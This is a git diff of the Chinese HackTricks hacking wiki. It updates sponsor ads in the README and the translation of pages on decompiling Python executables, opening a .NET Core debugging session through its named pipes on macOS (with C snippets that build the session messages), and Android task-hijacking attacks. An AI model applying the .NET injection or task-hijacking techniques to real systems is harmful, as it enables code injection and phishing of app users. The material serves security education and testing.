Translated ['README.md', 'forensics/basic-forensic-methodology/specific-
BIN
.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
BIN
.gitbook/assets/image (674).png
Normal file
After Width: | Height: | Size: 7.5 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 7.5 KiB |
68
README.md
|
@ -5,7 +5,7 @@
|
|||
_Hacktricks的标志和动画设计由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**欢迎来到这个维基,你将在这里找到我从CTF、真实应用、研究和新闻中学到的每个黑客技巧/技术/其他内容。**
|
||||
**欢迎来到这个维基,你将在这里找到我从CTF比赛、真实应用、研究和新闻中学到的每个黑客技巧/技术/其他内容。**
|
||||
{% endhint %}
|
||||
|
||||
要开始,请按照这个页面,你将找到**渗透测试**一个或多个**机器时应该遵循的典型流程**:
|
||||
|
@ -53,11 +53,25 @@ _你的公司可以在这里_
|
|||
<figure><img src=".gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和自动化由世界上最先进的社区工具提供支持的工作流程。
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。
|
||||
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在网络安全领域保持领先。
|
||||
|
||||
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 让漏洞管理变得简单。跟踪你的攻击面,了解你的公司存在哪些漏洞,并优先处理最容易受到攻击的问题,这样你就可以专注于最重要的事情。
|
||||
|
||||
使用一个平台运行数千个检查,覆盖你的整个技术栈,包括内部基础设施、Web应用程序、API和云系统。与 [AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) 无缝集成,简化DevOps,使你的团队能够更快地实施修复措施。
|
||||
|
||||
Intruder 从不休息。全天候保护监控你的系统。想了解更多?访问他们的网站,并通过[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)来体验一下。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
|
@ -66,15 +80,15 @@ _你的公司可以在这里_
|
|||
**HackenProof 是所有加密货币漏洞赏金的家园。**
|
||||
|
||||
**无需等待即可获得奖励**\
|
||||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后,您将获得奖励。
|
||||
|
||||
**在 web3 渗透测试中积累经验**\
|
||||
区块链协议和智能合约是新的互联网!在它崛起的日子里掌握 web3 安全。
|
||||
|
||||
**成为 web3 黑客传奇**\
|
||||
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
|
||||
每次验证的漏洞都会增加声誉积分,征服每周排行榜的顶端。
|
||||
|
||||
[**在 HackenProof 上注册**](https://hackenproof.com/register) 从您的黑客攻击中获利!
|
||||
[**在 HackenProof 上注册**](https://hackenproof.com/register)开始从你的黑客行动中获利!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -84,58 +98,58 @@ HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏
|
|||
|
||||
<figure><img src=".gitbook/assets/logo.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) 是一家位于阿姆斯特丹的专业网络安全公司,通过提供现代化的攻击性安全服务,帮助全球各地的企业抵御最新的网络安全威胁。
|
||||
[**WebSec**](https://websec.nl) 是一家位于**阿姆斯特丹**的专业网络安全公司,通过提供**攻击性安全服务**以**现代化**的方式帮助全球企业抵御最新的网络安全威胁。
|
||||
|
||||
WebSec 是一家全方位的安全公司,他们可以做到所有的事情;渗透测试、安全审计、安全意识培训、钓鱼活动、代码审查、利用开发、安全专家外包等等。
|
||||
WebSec 是一家**全方位的安全公司**,他们可以做到所有的事情;渗透测试、安全审计、安全意识培训、钓鱼活动、代码审查、漏洞利用开发、安全专家外包等等。
|
||||
|
||||
WebSec 的另一个很酷的地方是,与行业平均水平不同,WebSec 对自己的技能非常有信心,以至于他们保证提供最优质的结果,他们的网站上写着“如果我们无法入侵,您就不需要支付费用!”。欲了解更多信息,请访问他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
WebSec 的另一个很酷的地方是,与行业平均水平不同,WebSec 对自己的技能非常有信心,以至于他们保证提供最优质的结果,他们的网站上写着“**如果我们无法入侵,您就不需要支付费用!**”。想要了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
|
||||
除了以上内容,WebSec 还是 HackTricks 的忠实支持者。
|
||||
除了以上内容,WebSec 还是 HackTricks 的**忠实支持者**。
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
### [DragonJAR](https://www.dragonjar.org/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR 是一家领先的攻击性网络安全公司**](https://www.dragonjar.org/) **位于哥伦比亚**。DragonJAR 提供[全面的攻击性网络安全服务,如**渗透测试**](https://www.dragonjar.org/servicios-de-seguridad-informatica)在各个领域和几乎**任何技术**,**红队**攻击模拟,**物理**安全测试,**压力测试**,社会工程,源代码安全审查和网络安全培训。此外,他们还组织了**DragonJAR Security Conference**,[一个国际性的网络安全大会](https://www.dragonjarcon.org/),已经举办了十多年,成为西班牙最新安全研究的展示窗口,在该地区具有重要意义。
|
||||
[**DragonJAR是一家位于哥伦比亚的领先攻击性网络安全公司**](https://www.dragonjar.org/)。DragonJAR提供[全面的攻击性网络安全服务,如**渗透测试**](https://www.dragonjar.org/servicios-de-seguridad-informatica)在各个领域和几乎**任何技术**,**红队**攻击模拟,**物理**安全测试,**压力测试**,社会工程,源代码安全审查和网络安全培训。此外,他们还组织了**DragonJAR安全会议**,[一个国际网络安全大会](https://www.dragonjarcon.org/),已经举办了十多年,成为西班牙语地区最新安全研究的展示窗口,具有重要的影响力。
|
||||
|
||||
[**DragonJAR is a leading offensive cybersecurity company**](https://www.dragonjar.org/) **located in Colombia**. DragonJAR offers [comprehensive offensive cybersecurity services, such as **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) in various areas and practically **any technology**, **Red Team** attack simulations, **physical** security testing, **stress testing**, social engineering, source **code security review**, and cybersecurity training. Additionally, they organize the **DragonJAR Security Conference**, [an international cybersecurity congress](https://www.dragonjarcon.org/) that has been held for over a decade, becoming a showcase for the latest security research in Spanish and of great relevance in the region.
|
||||
|
||||
[**DragonJAR es una empresa líder en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**, DragonJAR ofrece [servicios integrales de seguridad informática ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en seguridad informática. Asimismo, organiza la **DragonJAR Security Conference**, [un congreso internacional de seguridad informática](https://www.dragonjarcon.org/) que se ha realizado durante más de una década, convirtiéndose en el escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región.
|
||||
### [SYN CUBES](https://www.syncubes.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (10) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**安全技能即服务**平台通过将**全球攻击性安全人才与智能自动化**相结合,弥合了当前技能差距,为您提供实时数据,帮助您做出明智的决策。
|
||||
**Security Skills as a Service**平台通过将**全球攻击性安全人才与智能自动化**相结合,弥合了当前技能差距,提供您需要的实时数据,以便做出明智的决策。
|
||||
|
||||
{% embed url="https://www.syncubes.com/" %}
|
||||
|
||||
## 许可证
|
||||
## License
|
||||
|
||||
**版权所有 © Carlos Polop 2023。除非另有规定(复制到本书中的外部信息属于原始作者),否则 Carlos Polop 的** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **的文本受**[ **署名-非商业性使用 4.0 国际 (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**许可**。\
|
||||
**如果您想以商业目的使用,请与我联系。**
|
||||
**版权所有 © Carlos Polop 2023。除非另有规定(复制到本书中的外部信息属于原始作者),否则Carlos Polop的**[**HACK TRICKS**](https://github.com/carlospolop/hacktricks)**的文本受**[**署名-非商业性使用 4.0 国际 (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**许可。**\
|
||||
**如果您想以商业目的使用它,请与我联系。**
|
||||
|
||||
## **免责声明**
|
||||
|
||||
{% hint style="danger" %}
|
||||
本书《HackTricks》仅供教育和信息目的。本书的内容基于“原样”提供,作者和出版商对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。您对此类信息的任何依赖均完全由您自己承担风险。
|
||||
本书《HackTricks》仅供教育和信息目的。本书的内容基于“原样”提供,作者和出版商对本书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。因此,您对此类信息的任何依赖完全由您自己承担风险。
|
||||
|
||||
作者和出版商在任何情况下均不对任何损失或损害(包括但不限于间接或后果性的损失或损害,或因数据或利润的损失而导致的任何损失或损害)承担责任,无论是因为使用本书还是与本书的使用有关。
|
||||
作者和出版商在任何情况下均不对任何损失或损害(包括但不限于间接或后果性的损失或损害,或因使用本书而导致的任何数据或利润的损失或损害)承担责任,或与使用本书有关。
|
||||
|
||||
此外,本书中描述的技术和技巧仅供教育和信息目的,不得用于任何非法或恶意活动。作者和出版商不赞同或支持任何非法或不道德的活动,任何使用本书中所包含的信息均由用户自行承担风险和决定。
|
||||
此外,本书中描述的技术和技巧仅供教育和信息目的,不得用于任何非法或恶意活动。作者和出版商不赞同或支持任何非法或不道德的活动,使用本书中包含的信息完全由用户自行承担风险和决定。
|
||||
|
||||
用户对基于本书中所包含的信息采取的任何行动负有全部责任,并在尝试实施本书中所描述的任何技术或技巧时,应始终寻求专业建议和帮助。
|
||||
用户对基于本书中包含的信息采取的任何行动负有全部责任,并在尝试实施本书中描述的任何技术或技巧时,应始终寻求专业建议和帮助。
|
||||
|
||||
通过使用本书,用户同意免除作者和出版商对因使用本书或其中包含的任何信息而可能导致的任何损害、损失或伤害的任何责任和责任。
|
||||
通过使用本书,用户同意免除作者和出版商对因使用本书或其中包含的任何信息而可能导致的任何损害、损失或伤害承担任何责任和责任。
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的公司广告吗?或者您想获得最新版本的 PEASS 或下载 HackTricks 的 PDF 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF版本的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
|
@ -20,7 +20,7 @@
|
|||
|
||||
## 从编译的二进制文件到.pyc
|
||||
|
||||
从一个**ELF**编译的二进制文件中,你可以使用以下方法**获取.pyc**文件:
|
||||
从一个**ELF**编译的二进制文件中,你可以通过以下方式**获取.pyc**文件:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
|
@ -70,7 +70,7 @@ Unknown magic number 227 in /tmp/binary.pyc
|
|||
|
||||
一旦你添加了这个魔数头,错误就应该被修复了。
|
||||
|
||||
这是一个正确添加的**.pyc Python 3.8 魔数头**的样子:
|
||||
这是一个正确添加的**.pyc Python 3.8 魔数头**的样式:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
|
@ -86,7 +86,7 @@ hexdump 'binary.pyc' | head
|
|||
|
||||
请查看前面的错误文档。
|
||||
|
||||
## 自动化工具
|
||||
## 自动工具
|
||||
|
||||
该工具[https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker)将几个可用于社区的工具(py2exe和pyinstaller)组合在一起,帮助研究人员解包和反编译用Python编写的可执行文件。
|
||||
|
||||
|
@ -112,7 +112,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
|||
```
|
||||
## 分析Python汇编代码
|
||||
|
||||
如果你无法在之前的步骤中提取出Python的“原始”代码,那么你可以尝试提取汇编代码(但它并不是非常描述性的,所以尽量再次尝试提取原始代码)。在[这里](https://bits.theorem.co/protecting-a-python-codebase/),我找到了一个非常简单的代码来反汇编.pyc二进制文件(祝你理解代码流程好运)。如果.pyc文件是Python2的,请使用Python2:
|
||||
如果你无法在之前的步骤中提取出Python的“原始”代码,那么你可以尝试提取汇编代码(但它并不是非常描述性的,所以尽量再次提取原始代码)。在[这里](https://bits.theorem.co/protecting-a-python-codebase/),我找到了一个非常简单的代码来反汇编.pyc二进制文件(祝你理解代码流程好运)。如果.pyc文件是Python2的,请使用Python2:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
|
@ -211,9 +211,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -5,9 +5,9 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
@ -17,15 +17,15 @@
|
|||
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)负责处理调试器与被调试进程之间的**通信**。\
|
||||
它通过调用[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)中的[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)创建每个.Net进程的2个命名管道(一个以**`-in`**结尾,另一个以**`-out`**结尾,其余部分名称相同)。
|
||||
它通过调用[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)在每个.Net进程中创建两个命名管道(一个以**`-in`**结尾,另一个以**`-out`**结尾,其余部分名称相同)。
|
||||
|
||||
因此,如果你进入用户的**`$TMPDIR`**目录,你将能够找到用于调试.Net应用程序的**调试FIFO**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
函数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)将处理来自调试器的通信。
|
||||
|
||||
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过在`out`管道上发送以`MessageHeader`结构开始的消息来完成的,我们可以从.NET源代码中获取:
|
||||
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过**通过`out`管道发送以`MessageHeader`结构开始的消息**来完成的,我们可以从.NET源代码中获取:
|
||||
```c
|
||||
struct MessageHeader
|
||||
{
|
||||
|
@ -62,11 +62,11 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion
|
|||
// Finally set the number of bytes which follow this header
|
||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||
```
|
||||
构建完成后,我们使用`write`系统调用将其发送给目标。
|
||||
一旦构建完成,我们使用`write`系统调用将其发送给目标。
|
||||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
```
|
||||
在我们的标头之后,我们需要发送一个`sessionRequestData`结构体,其中包含一个GUID来标识我们的会话:
|
||||
以下是我们需要发送的`sessionRequestData`结构体,其中包含一个用于标识我们会话的GUID:
|
||||
```c
|
||||
// All '9' is a GUID.. right??
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
|
|
|
@ -1,107 +1,98 @@
|
|||
# Android任务劫持
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## 任务、后台堆栈和前台活动
|
||||
|
||||
# 任务、返回栈和前台活动
|
||||
任务是用户在执行某个任务时与之交互的活动集合。这些活动按照打开每个活动的顺序排列在一个堆栈中,即**后台堆栈**。
|
||||
|
||||
任务是用户在执行某个特定任务时与之交互的活动集合。这些活动按照打开的顺序排列在一个堆栈中,即**返回栈**。
|
||||
在屏幕上**显示**的活动称为**前台活动**,其任务称为**前台任务**。一次只能**在屏幕上显示一个前台任务**。
|
||||
|
||||
在屏幕上**显示**的活动称为**前台活动**,其任务称为**前台任务**。一次只能在屏幕上**显示一个前台任务**。
|
||||
这是一个简单的活动流程:
|
||||
|
||||
以下是一些简单的活动流程:
|
||||
|
||||
* 只有活动1在前台。
|
||||
* 启动活动2,将活动1推入返回栈。现在活动2在前台。
|
||||
* 启动活动3,将活动1和2都推入返回栈。
|
||||
* 现在当关闭活动3时,上一个活动即2会自动带到前台。这就是Android中任务导航的工作原理。
|
||||
* 只有Activity 1在前台。
|
||||
* 启动Activity 2,将Activity 1推入后台堆栈。现在Activity 2在前台。
|
||||
* 启动Activity 3,将Activity 1和2都推入后台堆栈。
|
||||
* 现在关闭Activity 3。之前的活动即2会自动带到前台。这就是Android中任务导航的工作原理。
|
||||
|
||||
![](<../../.gitbook/assets/image (548).png>)
|
||||
|
||||
## Android多任务 - 一个任务
|
||||
### Android多任务 - 一个任务
|
||||
|
||||
一个任务由多个活动组成
|
||||
|
||||
![](<../../.gitbook/assets/image (549).png>)
|
||||
|
||||
## Android多任务 - 多个任务
|
||||
### Android多任务 - 多个任务
|
||||
|
||||
Android通常管理多个任务
|
||||
|
||||
![](<../../.gitbook/assets/image (550).png>)
|
||||
|
||||
# 任务控制开关
|
||||
## 任务控制开关
|
||||
|
||||
![](<../../.gitbook/assets/image (551).png>)
|
||||
|
||||
# 任务亲和性攻击
|
||||
## 任务亲和性攻击
|
||||
|
||||
## 任务亲和性和启动模式
|
||||
### 任务亲和性和启动模式
|
||||
|
||||
**任务亲和性**是在`AndroidManifest.xml`文件中的每个`<activity>`标签中定义的属性。它描述了一个活动首选加入的任务。\
|
||||
**任务亲和性**是在`AndroidManifest.xml`文件中的每个`<activity>`标签中定义的属性。它描述了一个活动倾向于加入哪个任务。\
|
||||
默认情况下,每个活动的亲和性与**包名**相同。
|
||||
|
||||
在创建我们的PoC应用程序时,我们将使用这个属性。
|
||||
```markup
|
||||
<activity android:taskAffinity=""/>
|
||||
```
|
||||
**启动模式**允许您定义新的活动实例与当前任务的关联方式。[`launchMode`](https://developer.android.com/guide/topics/manifest/activity-element#lmode)属性指定了活动应该如何启动到任务中的指令。\
|
||||
有四种不同的**启动模式**:
|
||||
**启动模式**允许您定义新的活动实例与当前任务的关联方式。[`launchMode`](https://developer.android.com/guide/topics/manifest/activity-element#lmode)属性指定了活动应该如何启动到任务中的指令。有四种不同的**启动模式**:
|
||||
|
||||
1. 标准模式(默认)
|
||||
1. standard(默认)
|
||||
2. singleTop
|
||||
3. **singleTask**
|
||||
4. singleInstance
|
||||
|
||||
当`launchMode`设置为`singleTask`时,Android系统会评估三种可能性,其中一种是我们攻击可能成功的原因。它们如下:
|
||||
当`launchMode`设置为`singleTask`时,Android系统会评估三种可能性,其中一种是我们攻击可能发生的原因。它们如下:
|
||||
|
||||
* **如果活动实例已存在**:\
|
||||
* **如果活动实例已经存在**:\
|
||||
